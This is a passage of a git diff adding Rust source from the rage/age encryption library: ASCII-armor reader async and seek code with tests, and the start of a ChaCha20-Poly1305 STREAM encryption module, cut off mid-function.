// Parse the line into bytes + if self.parse_armor_line()? { + // This was the last line! Check for trailing garbage. + loop { + let amt = match self.inner.fill_buf()? { + &[] => break, + buf => { + if buf.iter().any(|b| !b.is_ascii_whitespace()) { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + ArmoredReadError::TrailingGarbage, + )); + } + buf.len() + } + }; + self.inner.consume(amt); + } + Ok(true) + } else { + Ok(false) + } + } +} + +impl Read for ArmoredReader { + fn read(&mut self, mut buf: &mut [u8]) -> io::Result { + let buf_len = buf.len(); + + while !buf.is_empty() { + match self.fill_buf()? { + [] => break, + next => { + let read = cmp::min(next.len(), buf.len()); + + if next.len() < buf.len() { + buf[..read].copy_from_slice(next); + } else { + buf.copy_from_slice(&next[..read]); + } + + self.consume(read); + buf = &mut buf[read..]; + } + } + } + + Ok(buf_len - buf.len()) + } +} + +/// Copied from `futures_util::io::read_until::read_until_internal`. +#[cfg(feature = "async")] +fn read_until_internal( + mut reader: Pin<&mut R>, + cx: &mut Context<'_>, + byte: u8, + buf: &mut Vec, + read: &mut usize, +) -> Poll> { + loop { + let (done, used) = { + let available = ready!(reader.as_mut().poll_fill_buf(cx))?; + if let Some(i) = memchr::memchr(byte, available) { + buf.extend_from_slice(&available[..=i]); + (true, i + 1) + } else { + buf.extend_from_slice(available); + (false, available.len()) + } + }; + reader.as_mut().consume(used); + *read += used; + if done || used == 0 { + return Poll::Ready(Ok(mem::replace(read, 0))); + } + } +} + +/// Adapted from `futures_util::io::read_line::read_line_internal`. +#[cfg(feature = "async")] +fn read_line_internal( + reader: Pin<&mut R>, + cx: &mut Context<'_>, + buf: &mut String, + bytes: &mut Vec, + read: &mut usize, +) -> Poll> { + let ret = ready!(read_until_internal(reader, cx, b'\n', bytes, read)); + match String::from_utf8(mem::take(bytes)) { + Err(_) => Poll::Ready(ret.and_then(|_| { + Err(io::Error::new( + io::ErrorKind::InvalidData, + ArmoredReadError::InvalidUtf8, + )) + })), + Ok(mut line) => { + debug_assert!(buf.is_empty()); + debug_assert_eq!(*read, 0); + // Safety: `bytes` is a valid UTF-8 because `str::from_utf8` returned `Ok`. + mem::swap(buf, &mut line); + Poll::Ready(ret) + } + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl AsyncBufRead for ArmoredReader { + fn poll_fill_buf(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + loop { + match self.is_armored { + None => { + let mut this = self.as_mut().project(); + let available = loop { + let buf = ready!(this.inner.as_mut().poll_fill_buf(cx))?; + if buf.len() >= MIN_ARMOR_LEN { + break buf; + } + }; + this.byte_buf[..MIN_ARMOR_LEN].copy_from_slice(&available[..MIN_ARMOR_LEN]); + this.inner.as_mut().consume(MIN_ARMOR_LEN); + self.detect_armor()? + } + Some(false) => { + let ret = if self.byte_start >= self.byte_end { + let this = self.as_mut().project(); + let read = ready!(this.inner.poll_read(cx, &mut this.byte_buf[..]))?; + (*this.byte_start) = 0; + (*this.byte_end) = read; + self.count_reader_bytes(read); + &self.get_mut().byte_buf[..read] + } else { + let this = self.get_mut(); + &this.byte_buf[this.byte_start..this.byte_end] + }; + break Poll::Ready(Ok(ret)); + } + Some(true) if self.found_end => return Poll::Ready(Ok(&[])), + Some(true) => { + let ret = if self.byte_start >= self.byte_end { + let last = + ready!(Pin::new(self.deref_mut()).poll_read_next_armor_line(cx))?; + if last { + &[] + } else { + let this = self.get_mut(); + &this.byte_buf[this.byte_start..this.byte_end] + } + } else { + let this = self.get_mut(); + &this.byte_buf[this.byte_start..this.byte_end] + }; + break Poll::Ready(Ok(ret)); + } + } + } + } + + fn consume(mut self: Pin<&mut Self>, amt: usize) { + let this = self.as_mut().project(); + (*this.byte_start) += amt; + (*this.data_read) += amt; + assert!(this.byte_start <= this.byte_end); + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl ArmoredReader { + /// Fills `self.byte_buf` with the next line of armored data. + /// + /// Returns `true` if this was the last line. + fn poll_read_next_armor_line( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + ) -> Poll> { + assert_eq!(self.is_armored, Some(true)); + + // Read the next line + { + // Emulates `AsyncBufReadExt::read_line`. + let mut this = self.as_mut().project(); + let buf: &mut String = this.line_buf; + let mut bytes = mem::take(buf).into_bytes(); + let mut read = 0; + ready!(read_line_internal( + this.inner.as_mut(), + cx, + buf, + &mut bytes, + &mut read, + )) + } + .map(|read| self.count_reader_bytes(read))?; + + // Parse the line into bytes. + if self.parse_armor_line()? { + // This was the last line! Check for trailing garbage. + let mut this = self.as_mut().project(); + loop { + let amt = match ready!(this.inner.as_mut().poll_fill_buf(cx))? { + &[] => break, + buf => { + if buf.iter().any(|b| !b.is_ascii_whitespace()) { + return Poll::Ready(Err(io::Error::new( + io::ErrorKind::InvalidData, + ArmoredReadError::TrailingGarbage, + ))); + } + buf.len() + } + }; + this.inner.as_mut().consume(amt); + } + Poll::Ready(Ok(true)) + } else { + Poll::Ready(Ok(false)) + } + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl AsyncRead for ArmoredReader { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context, + mut buf: &mut [u8], + ) -> Poll> { + let buf_len = buf.len(); + + while !buf.is_empty() { + match Pin::new(self.deref_mut()).poll_fill_buf(cx) { + Poll::Pending if buf_len > buf.len() => break, + Poll::Pending => return Poll::Pending, + Poll::Ready(Err(e)) => return Poll::Ready(Err(e)), + Poll::Ready(Ok([])) => break, + Poll::Ready(Ok(next)) => { + let read = cmp::min(next.len(), buf.len()); + + if next.len() < buf.len() { + buf[..read].copy_from_slice(next); + } else { + buf.copy_from_slice(&next[..read]); + } + + Pin::new(self.deref_mut()).consume(read); + buf = &mut buf[read..]; + } + } + } + + Poll::Ready(Ok(buf_len - buf.len())) + } +} + +impl ArmoredReader { + fn start(&mut self) -> io::Result { + match self.start { + StartPos::Implicit(offset) => { + let current = self.inner.seek(SeekFrom::Current(0))?; + let start = current - offset; + + // Cache the start for future calls. + self.start = StartPos::Explicit(start); + + Ok(start) + } + StartPos::Explicit(start) => Ok(start), + } + } +} + +impl Seek for ArmoredReader { + fn seek(&mut self, pos: SeekFrom) -> io::Result { + loop { + match self.is_armored { + None => { + self.inner.read_exact(&mut self.byte_buf[..MIN_ARMOR_LEN])?; + self.detect_armor()? + } + Some(armored) => { + // Convert the offset into the target position within the data inside + // the (maybe) armor. + let start = self.start()?; + let target_pos = match pos { + SeekFrom::Start(offset) => offset, + SeekFrom::Current(offset) => { + let res = (self.data_read as i64) + offset; + if res >= 0_i64 { + res as u64 + } else { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + "cannot seek before the start", + )); + } + } + SeekFrom::End(offset) => { + let data_len = match self.data_len { + Some(n) => n, + None => { + // Read from the source until we find the end. + let mut buf = [0; 4096]; + while self.read(&mut buf)? > 0 {} + let data_len = self.data_read as u64; + + // Cache the data length for future calls. + self.data_len = Some(data_len); + + data_len + } + }; + + let res = (data_len as i64) + offset; + if res >= 0 { + res as u64 + } else { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + "cannot seek before the start", + )); + } + } + }; + + if !armored { + // We can seek directly on the inner reader. + self.inner.seek(SeekFrom::Start(start + target_pos))?; + self.byte_start = 0; + self.byte_end = 0; + self.data_read = target_pos as usize; + break Ok(self.data_read as u64); + } + + // Jump back to the start of the armor data, and then read and drop + // until we reach the target position. This is very inefficient, but + // as armored files can have arbitrary line endings within the file, + // we can't determine where the armor line containing the target + // position begins within the reader. + self.inner.seek(SeekFrom::Start(start))?; + self.line_buf.clear(); + self.byte_start = ARMORED_BYTES_PER_LINE; + self.byte_end = ARMORED_BYTES_PER_LINE; + self.found_short_line = false; + self.found_end = false; + self.data_read = 0; + + let mut buf = [0; 4096]; + let mut to_read = target_pos as usize; + while to_read > buf.len() { + self.read_exact(&mut buf)?; + to_read -= buf.len(); + } + if to_read > 0 { + self.read_exact(&mut buf[..to_read])?; + } + + // All done! + break Ok(target_pos); + } + } + } + } +} + +#[cfg(test)] +mod tests { + use std::io::{Cursor, Read, Seek, SeekFrom, Write}; + + use super::{ArmoredReader, ArmoredWriter, Format, ARMORED_BYTES_PER_LINE}; + + #[cfg(feature = "async")] + use futures::{ + io::{AsyncRead, AsyncWrite}, + pin_mut, + task::Poll, + }; + #[cfg(feature = "async")] + use futures_test::task::noop_context; + + #[test] + fn armored_round_trip() { + const MAX_LEN: usize = ARMORED_BYTES_PER_LINE * 50; + + let mut data = Vec::with_capacity(MAX_LEN); + + for i in 0..MAX_LEN { + data.push(i as u8); + + let mut encoded = vec![]; + { + let mut out = ArmoredWriter::wrap_output(&mut encoded, Format::AsciiArmor).unwrap(); + out.write_all(&data).unwrap(); + out.finish().unwrap(); + } + + let mut buf = vec![]; + { + let mut input = ArmoredReader::new(&encoded[..]); + input.read_to_end(&mut buf).unwrap(); + } + + assert_eq!(buf, data); + } + } + + #[cfg(feature = "async")] + #[test] + fn armored_async_round_trip() { + const MAX_LEN: usize = ARMORED_BYTES_PER_LINE * 50; + + let mut data = Vec::with_capacity(MAX_LEN); + + for i in 0..MAX_LEN { + data.push(i as u8); + + let mut encoded = vec![]; + { + let w = ArmoredWriter::wrap_async_output(&mut encoded, Format::AsciiArmor); + pin_mut!(w); + + let mut cx = noop_context(); + + let mut tmp = &data[..]; + loop { + match w.as_mut().poll_write(&mut cx, tmp) { + Poll::Ready(Ok(0)) => break, + Poll::Ready(Ok(written)) => tmp = &tmp[written..], + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + loop { + match w.as_mut().poll_close(&mut cx) { + Poll::Ready(Ok(())) => break, + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + } + + let mut buf = vec![]; + { + let input = ArmoredReader::from_async_reader(&encoded[..]); + pin_mut!(input); + + let mut cx = noop_context(); + + let mut tmp = [0; 4096]; + loop { + match input.as_mut().poll_read(&mut cx, &mut tmp) { + Poll::Ready(Ok(0)) => break, + Poll::Ready(Ok(read)) => buf.extend_from_slice(&tmp[..read]), + Poll::Ready(Err(e)) => panic!("Unexpected error: {}", e), + Poll::Pending => panic!("Unexpected Pending"), + } + } + } + + assert_eq!(buf, data); + } + } + + #[test] + fn binary_seeking() { + let mut data = vec![0; 100 * 100]; + for (i, b) in data.iter_mut().enumerate() { + *b = i as u8; + } + + let mut written = vec![]; + { + let mut w = ArmoredWriter::wrap_output(&mut written, Format::Binary).unwrap(); + w.write_all(&data).unwrap(); + w.finish().unwrap(); + }; + assert_eq!(written, data); + + let mut r = ArmoredReader::new(Cursor::new(written)); + + // Read part-way into the first "line" + let mut buf = vec![0; 100]; + r.read_exact(&mut buf[..5]).unwrap(); + assert_eq!(&buf[..5], &data[..5]); + + // Seek back to the beginning + r.seek(SeekFrom::Start(0)).unwrap(); + + // Read into the middle of the data + for i in 0..70 { + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[100 * i..100 * (i + 1)]); + } + + // Seek back into the first line + r.seek(SeekFrom::Start(5)).unwrap(); + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[5..105]); + + // Seek forwards from the current position + r.seek(SeekFrom::Current(500)).unwrap(); + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[605..705]); + + // Seek backwards from the end + r.seek(SeekFrom::End(-1337)).unwrap(); + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[data.len() - 1337..data.len() - 1237]); + } + + #[test] + fn armored_seeking() { + let mut data = vec![0; 100 * 100]; + for (i, b) in data.iter_mut().enumerate() { + *b = i as u8; + } + + let mut armored = vec![]; + { + let mut w = ArmoredWriter::wrap_output(&mut armored, Format::AsciiArmor).unwrap(); + w.write_all(&data).unwrap(); + w.finish().unwrap(); + }; + + let mut r = ArmoredReader::new(Cursor::new(armored)); + + // Read part-way into the first "line" + let mut buf = vec![0; 100]; + r.read_exact(&mut buf[..5]).unwrap(); + assert_eq!(&buf[..5], &data[..5]); + + // Seek back to the beginning + r.seek(SeekFrom::Start(0)).unwrap(); + + // Read into the middle of the data + for i in 0..70 { + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[100 * i..100 * (i + 1)]); + } + + // Seek back into the first line + r.seek(SeekFrom::Start(5)).unwrap(); + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[5..105]); + + // Seek forwards from the current position + r.seek(SeekFrom::Current(500)).unwrap(); + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[605..705]); + + // Seek backwards from the end + r.seek(SeekFrom::End(-1337)).unwrap(); + r.read_exact(&mut buf).unwrap(); + assert_eq!(&buf[..], &data[data.len() - 1337..data.len() - 1237]); + } +} diff --git a/lib/rage/age/src/primitives/stream.rs b/lib/rage/age/src/primitives/stream.rs new file mode 100644 index 0000000..880084d --- /dev/null +++ b/lib/rage/age/src/primitives/stream.rs @@ -0,0 +1,1043 @@ +//! I/O helper structs for age file encryption and decryption. + +use age_core::secrecy::{ExposeSecret, SecretSlice}; +use chacha20poly1305::{ + aead::{generic_array::GenericArray, Aead, KeyInit, KeySizeUser}, + ChaCha20Poly1305, +}; +use pin_project::pin_project; +use std::cmp; +use std::io::{self, Read, Seek, SeekFrom, Write}; +use zeroize::Zeroize; + +#[cfg(feature = "async")] +use futures::{ + io::{AsyncRead, AsyncWrite, Error}, + ready, + task::{Context, Poll}, +}; +#[cfg(feature = "async")] +use std::pin::Pin; + +const CHUNK_SIZE: usize = 64 * 1024; +const TAG_SIZE: usize = 16; +const ENCRYPTED_CHUNK_SIZE: usize = CHUNK_SIZE + TAG_SIZE; + +pub(crate) struct PayloadKey( + pub(crate) GenericArray::KeySize>, +); + +impl Drop for PayloadKey { + fn drop(&mut self) { + self.0.as_mut_slice().zeroize(); + } +} + +/// The nonce used in age's STREAM encryption. +/// +/// Structured as an 11 bytes of big endian counter, and 1 byte of last block flag +/// (`0x00 / 0x01`). We store this in the lower 12 bytes of a `u128`. +#[derive(Clone, Copy, Default)] +struct Nonce(u128); + +impl Nonce { + /// Unsets last-chunk flag. + fn set_counter(&mut self, val: u64) { + self.0 = u128::from(val) << 8; + } + + fn increment_counter(&mut self) { + // Increment the 11-byte counter + self.0 += 1 << 8; + if self.0 >> (8 * 12) != 0 { + panic!("We overflowed the nonce!"); + } + } + + fn is_last(&self) -> bool { + self.0 & 1 != 0 + } + + fn set_last(&mut self, last: bool) -> Result<(), ()> { + if !self.is_last() { + self.0 |= u128::from(last); + Ok(()) + } else { + Err(()) + } + } + + fn to_bytes(self) -> [u8; 12] { + self.0.to_be_bytes()[4..] + .try_into() + .expect("slice is correct length") + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +struct EncryptedChunk { + bytes: Vec, + offset: usize, +} + +/// `STREAM[key](plaintext)` +/// +/// The [STREAM] construction for online authenticated encryption, instantiated with +/// ChaCha20-Poly1305 in 64KiB chunks, and a nonce structure of 11 bytes of big endian +/// counter, and 1 byte of last block flag (0x00 / 0x01). +/// +/// [STREAM]: https://eprint.iacr.org/2015/189.pdf +pub(crate) struct Stream { + aead: ChaCha20Poly1305, + nonce: Nonce, +} + +impl Stream { + fn new(key: PayloadKey) -> Self { + Stream { + aead: ChaCha20Poly1305::new(&key.0), + nonce: Nonce::default(), + } + } + + /// Wraps `STREAM` encryption under the given `key` around a writer. + /// + /// `key` must **never** be repeated across multiple streams. In `age` this is + /// achieved by deriving the key with [`HKDF`] from both a random file key and a + /// random nonce. + /// + /// [`HKDF`]: age_core::primitives::hkdf + pub(crate) fn encrypt(key: PayloadKey, inner: W) -> StreamWriter { + StreamWriter { + stream: Self::new(key), + inner, + chunk: Vec::with_capacity(CHUNK_SIZE), + #[cfg(feature = "async")] + encrypted_chunk: None, + } + } + + /// Wraps `STREAM` encryption under the given `key` around a writer. + /// + /// `key` must **never** be repeated across multiple streams. In `age` this is + /// achieved by deriving the key with [`HKDF`] from both a random file key and a + /// random nonce. + /// + /// [`HKDF`]: age_core::primitives::hkdf + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + pub(crate) fn encrypt_async(key: PayloadKey, inner: W) -> StreamWriter { + StreamWriter { + stream: Self::new(key), + inner, + chunk: Vec::with_capacity(CHUNK_SIZE), + encrypted_chunk: None, + } + } + + /// Wraps `STREAM` decryption under the given `key` around a reader. + /// + /// `key` must **never** be repeated across multiple streams. In `age` this is + /// achieved by deriving the key with [`HKDF`] from both a random file key and a + /// random nonce. + /// + /// [`HKDF`]: age_core::primitives::hkdf + pub(crate) fn decrypt(key: PayloadKey, inner: R) -> StreamReader { + StreamReader { + stream: Self::new(key), + inner, + encrypted_chunk: vec![0; ENCRYPTED_CHUNK_SIZE], + encrypted_pos: 0, + start: StartPos::Implicit(0), + plaintext_len: None, + cur_plaintext_pos: 0, + chunk: None, + } + } + + /// Wraps `STREAM` decryption under the given `key` around a reader. + /// + /// `key` must **never** be repeated across multiple streams. In `age` this is + /// achieved by deriving the key with [`HKDF`] from both a random file key and a + /// random nonce. + /// + /// [`HKDF`]: age_core::primitives::hkdf + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + pub(crate) fn decrypt_async(key: PayloadKey, inner: R) -> StreamReader { + StreamReader { + stream: Self::new(key), + inner, + encrypted_chunk: vec![0; ENCRYPTED_CHUNK_SIZE], + encrypted_pos: 0, + start: StartPos::Implicit(0), + plaintext_len: None, + cur_plaintext_pos: 0, + chunk: None, + } + } + + fn encrypt_chunk(&mut self, chunk: &[u8], last: bool) -> io::Result> { + assert!(chunk.len() <= CHUNK_SIZE); + + self.nonce.set_last(last).map_err(|_| { + io::Error::new(io::ErrorKind::WriteZero, "last chunk has been processed") + })?; + + let encrypted = self + .aead + .encrypt(&self.nonce.to_bytes().into(), chunk) + .expect("we will never hit chacha20::MAX_BLOCKS because of the chunk size"); + self.nonce.increment_counter(); + + Ok(encrypted) + } + + fn decrypt_chunk(&mut self, chunk: &[u8], last: bool) -> io::Result> { + assert!(chunk.len() <= ENCRYPTED_CHUNK_SIZE); + + self.nonce.set_last(last).map_err(|_| { + io::Error::new(io::ErrorKind::InvalidData, "last chunk has been processed") + })?; + + let decrypted = self + .aead + .decrypt(&self.nonce.to_bytes().into(), chunk) + .map(SecretSlice::from) + .map_err(|_| io::Error::new(io::ErrorKind::InvalidData, "decryption error"))?; + self.nonce.increment_counter(); + + Ok(decrypted) + } + + fn is_complete(&self) -> bool { + self.nonce.is_last() + } +} + +/// Writes an encrypted age file. +#[pin_project(project = StreamWriterProj)] +pub struct StreamWriter { + stream: Stream, + #[pin] + inner: W, + chunk: Vec, + #[cfg(feature = "async")] + #[cfg_attr(docsrs, doc(cfg(feature = "async")))] + encrypted_chunk: Option, +} + +impl StreamWriter { + /// Writes the final chunk of the age file. + /// + /// You **MUST** call `finish` when you are done writing, in order to finish the + /// encryption process. Failing to call `finish` will result in a truncated file that + /// that will fail to decrypt. + pub fn finish(mut self) -> io::Result { + let encrypted = self.stream.encrypt_chunk(&self.chunk, true)?; + self.inner.write_all(&encrypted)?; + Ok(self.inner) + } +} + +impl Write for StreamWriter { + fn write(&mut self, mut buf: &[u8]) -> io::Result { + let mut bytes_written = 0; + + while !buf.is_empty() { + let to_write = cmp::min(CHUNK_SIZE - self.chunk.len(), buf.len()); + self.chunk.extend_from_slice(&buf[..to_write]); + bytes_written += to_write; + buf = &buf[to_write..]; + + // At this point, either buf is empty, or we have a full chunk. + assert!(buf.is_empty() || self.chunk.len() == CHUNK_SIZE); + + // Only encrypt the chunk if we have more data to write, as the last + // chunk must be written in finish(). + if !buf.is_empty() { + let encrypted = self.stream.encrypt_chunk(&self.chunk, false)?; + self.inner.write_all(&encrypted)?; + self.chunk.clear(); + } + } + + Ok(bytes_written) + } + + fn flush(&mut self) -> io::Result<()> { + self.inner.flush() + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl StreamWriter { + fn poll_flush_chunk(self: Pin<&mut Self>, cx: &mut Context) -> Poll> { + let StreamWriterProj { + mut inner, + encrypted_chunk, + .. + } = self.project(); + + if let Some(chunk) = encrypted_chunk { + loop { + chunk.offset += + ready!(inner.as_mut().poll_write(cx, &chunk.bytes[chunk.offset..]))?; + if chunk.offset == chunk.bytes.len() { + break; + } + } + } + *encrypted_chunk = None; + + Poll::Ready(Ok(())) + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl AsyncWrite for StreamWriter { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context, + mut buf: &[u8], + ) -> Poll> { + // If the buffer is empty, return immediately + if buf.is_empty() { + return Poll::Ready(Ok(0)); + } + + loop { + ready!(self.as_mut().poll_flush_chunk(cx))?; + + // We can encounter one of three cases here: + // 1. `0 < buf.len() <= CHUNK_SIZE - self.chunk.len()`: we append to the + // partial chunk and return. This may happen to complete the chunk. + // 2. `0 < CHUNK_SIZE - self.chunk.len() < buf.len()`: we consume part of + // `buf` to complete the chunk, encrypt it, and return. + // 3. `0 == CHUNK_SIZE - self.chunk.len() < buf.len()`: we hit case 1 in a + // previous invocation. We encrypt the chunk, and then loop around (where + // we are guaranteed to hit case 1). + let to_write = cmp::min(CHUNK_SIZE - self.chunk.len(), buf.len()); + + self.as_mut() + .project() + .chunk + .extend_from_slice(&buf[..to_write]); + buf = &buf[to_write..]; + + // At this point, either buf is empty, or we have a full chunk. + assert!(buf.is_empty() || self.chunk.len() == CHUNK_SIZE); + + // Only encrypt the chunk if we have more data to write, as the last + // chunk must be written in poll_close(). + if !buf.is_empty() { + let this = self.as_mut().project(); + *this.encrypted_chunk = Some(EncryptedChunk { + bytes: this.stream.encrypt_chunk(this.chunk, false)?, + offset: 0, + }); + this.chunk.clear(); + } + + // If we wrote some data, return how much we wrote + if to_write > 0 { + return Poll::Ready(Ok(to_write)); + } + + // If we didn't write any data, loop and write some, to ensure + // this function does not return 0. This enables compatibility with + // futures::io::copy() and tokio::io::copy(), which will return a + // WriteZero error in that case. + // Since those functions copy 8K at a time, and CHUNK_SIZE is + // a multiple of 8K, this ends up happening once for each chunk + // after the first one + } + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context) -> Poll> { + ready!(self.as_mut().poll_flush_chunk(cx))?; + self.project().inner.poll_flush(cx) + } + + fn poll_close(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + // Flush any remaining encrypted chunk bytes. + ready!(self.as_mut().poll_flush_chunk(cx))?; + + if !self.stream.is_complete() { + // Finish the stream. + let this = self.as_mut().project(); + *this.encrypted_chunk = Some(EncryptedChunk { + bytes: this.stream.encrypt_chunk(this.chunk, true)?, + offset: 0, + }); + } + + // Flush the final chunk (if we didn't in the first call). + ready!(self.as_mut().poll_flush_chunk(cx))?; + self.project().inner.poll_close(cx) + } +} + +/// The position in the underlying reader corresponding to the start of the stream. +/// +/// To impl Seek for StreamReader, we need to know the point in the reader corresponding +/// to the first byte of the stream. But we can't query the reader for its current +/// position without having a specific constructor for `R: Read + Seek`, which makes the +/// higher-level API more complex. Instead, we count the number of bytes that have been +/// read from the reader until we first need to seek, and then inside `impl Seek` we can +/// query the reader's current position and figure out where the start was. +enum StartPos { + /// An offset that we can subtract from the current position. + Implicit(u64), + /// The precise start position. + Explicit(u64), +} + +/// Provides access to a decrypted age file. +#[pin_project] +pub struct StreamReader { + stream: Stream, + #[pin] + inner: R, + encrypted_chunk: Vec, + encrypted_pos: usize, + start: StartPos, + plaintext_len: Option, + cur_plaintext_pos: u64, + chunk: Option>, +} + +impl StreamReader { + fn count_bytes(&mut self, read: usize) { + // We only need to count if we haven't yet worked out the start position. + if let StartPos::Implicit(offset) = &mut self.start { + *offset += read as u64; + } + } + + fn decrypt_chunk(&mut self) -> io::Result<()> { + self.count_bytes(self.encrypted_pos); + let chunk = &self.encrypted_chunk[..self.encrypted_pos]; + + if chunk.is_empty() { + if !self.stream.is_complete() { + // Stream has ended before seeing the last chunk. + return Err(io::Error::new( + io::ErrorKind::UnexpectedEof, + "age file is truncated", + )); + } + } else { + // This check works for all cases except when the age file is an integer + // multiple of the chunk size. In that case, we try decrypting twice on a + // decryption failure. + let last = chunk.len() < ENCRYPTED_CHUNK_SIZE; + + self.chunk = match (self.stream.decrypt_chunk(chunk, last), last) { + (Ok(chunk), _) + if chunk.expose_secret().is_empty() && self.cur_plaintext_pos > 0 => + { + assert!(last); + return Err(io::Error::new( + io::ErrorKind::InvalidData, + crate::fl!("err-stream-last-chunk-empty"), + )); + } + (Ok(chunk), _) => Some(chunk), + (Err(_), false) => Some(self.stream.decrypt_chunk(chunk, true)?), + (Err(e), true) => return Err(e), + }; + } + + // We've finished with this encrypted chunk. + self.encrypted_pos = 0; + + Ok(()) + } + + fn read_from_chunk(&mut self, buf: &mut [u8]) -> usize { + if self.chunk.is_none() { + return 0; + } + + let chunk = self.chunk.as_ref().unwrap(); + let cur_chunk_offset = self.cur_plaintext_pos as usize % CHUNK_SIZE; + + let to_read = cmp::min(chunk.expose_secret().len() - cur_chunk_offset, buf.len()); + + buf[..to_read] + .copy_from_slice(&chunk.expose_secret()[cur_chunk_offset..cur_chunk_offset + to_read]); + self.cur_plaintext_pos += to_read as u64; + if self.cur_plaintext_pos % CHUNK_SIZE as u64 == 0 { + // We've finished with the current chunk. + self.chunk = None; + } + + to_read + } +} + +impl Read for StreamReader { + fn read(&mut self, buf: &mut [u8]) -> io::Result { + if self.chunk.is_none() { + while self.encrypted_pos < ENCRYPTED_CHUNK_SIZE { + match self + .inner + .read(&mut self.encrypted_chunk[self.encrypted_pos..]) + { + Ok(0) => break, + Ok(n) => self.encrypted_pos += n, + Err(e) => match e.kind() { + io::ErrorKind::Interrupted => (), + _ => return Err(e), + }, + } + } + self.decrypt_chunk()?; + } + + Ok(self.read_from_chunk(buf)) + } +} + +#[cfg(feature = "async")] +#[cfg_attr(docsrs, doc(cfg(feature = "async")))] +impl AsyncRead for StreamReader { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context, + buf: &mut [u8], + ) -> Poll> { + if self.chunk.is_none() { + while self.encrypted_pos < ENCRYPTED_CHUNK_SIZE { + let this = self.as_mut().project(); + match ready!(this + .inner + .poll_read(cx, &mut this.encrypted_chunk[*this.encrypted_pos..])) + { + Ok(0) => break, + Ok(n) => self.encrypted_pos += n, + Err(e) => match e.kind() { + io::ErrorKind::Interrupted => (), + _ => return Poll::Ready(Err(e)), + }, + } + } + self.decrypt_chunk()?; + } + + Poll::Ready(Ok(self.read_from_chunk(buf))) + } +} + +impl StreamReader { + fn start(&mut self) -> io::Result { + match self.start { + StartPos::Implicit(offset) => { + let current = self.inner.seek(SeekFrom::Current(0))?; + let start = current - offset; + + // Cache the start for future calls. + self.start = StartPos::Explicit(start); + + Ok(start) + } + StartPos::Explicit(start) => Ok(start), + } + } + + /// Returns the length of the plaintext + fn len(&mut self) -> io::Result { + match self.plaintext_len { + None => { + // Cache the current position and nonce, and then grab the start and end + // ciphertext positions. + let cur_pos = self.inner.seek(SeekFrom::Current(0))?; + let cur_nonce = self.stream.nonce.0; + let ct_start = self.start()?; + let ct_end = self.inner.seek(SeekFrom::End(0))?; + let ct_len = ct_end - ct_start; + + // Use ceiling division to determine the number of chunks. + let num_chunks = + (ct_len + (ENCRYPTED_CHUNK_SIZE as u64 - 1)) / ENCRYPTED_CHUNK_SIZE as u64; + + // Authenticate the ciphertext length by checking that we can successfully + // decrypt the last chunk _as_ a last chunk. + let last_chunk_start = ct_start + ((num_chunks - 1) * ENCRYPTED_CHUNK_SIZE as u64); + let mut last_chunk = Vec::with_capacity((ct_end - last_chunk_start) as usize); + self.inner.seek(SeekFrom::Start(last_chunk_start))?; + self.inner.read_to_end(&mut last_chunk)?; + self.stream.nonce.set_counter(num_chunks - 1); + self.stream.decrypt_chunk(&last_chunk, true).map_err(|_| { + io::Error::new( + io::ErrorKind::InvalidData, + "Last chunk is invalid, stream might be truncated", + ) + })?; + + // Now that we have authenticated the ciphertext length, we can use it to + // calculate the plaintext length. + let total_tag_size = num_chunks * TAG_SIZE as u64; + let pt_len = ct_len - total_tag_size; + + // Return to the original position and restore the nonce. + self.inner.seek(SeekFrom::Start(cur_pos))?; + self.stream.nonce = Nonce(cur_nonce); + + // Cache the length for future calls. + self.plaintext_len = Some(pt_len); + + Ok(pt_len) + } + Some(pt_len) => Ok(pt_len), + } + } +} + +impl Seek for StreamReader { + fn seek(&mut self, pos: SeekFrom) -> io::Result { + // Convert the offset into the target position within the plaintext + let start = self.start()?; + let target_pos = match pos { + SeekFrom::Start(offset) => offset, + SeekFrom::Current(offset) => { + let res = (self.cur_plaintext_pos as i64) + offset; + if res >= 0 { + res as u64 + } else { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + "cannot seek before the start", + )); + } + } + SeekFrom::End(offset) => { + let res = (self.len()? as i64) + offset; + if res >= 0 { + res as u64 + } else { + return Err(io::Error::new( + io::ErrorKind::InvalidData, + "cannot seek before the start", + )); + } + } + }; + + let cur_chunk_index = self.cur_plaintext_pos / CHUNK_SIZE as u64; + + let target_chunk_index = target_pos / CHUNK_SIZE as u64; + let target_chunk_offset = target_pos % CHUNK_SIZE as u64; + + if target_chunk_index == cur_chunk_index { + // We just need to reposition ourselves within the current chunk. + self.cur_plaintext_pos = target_pos; + } else { + // Clear the current chunk + self.chunk = None; + + // Seek to the beginning of the target chunk + self.inner.seek(SeekFrom::Start( + start + 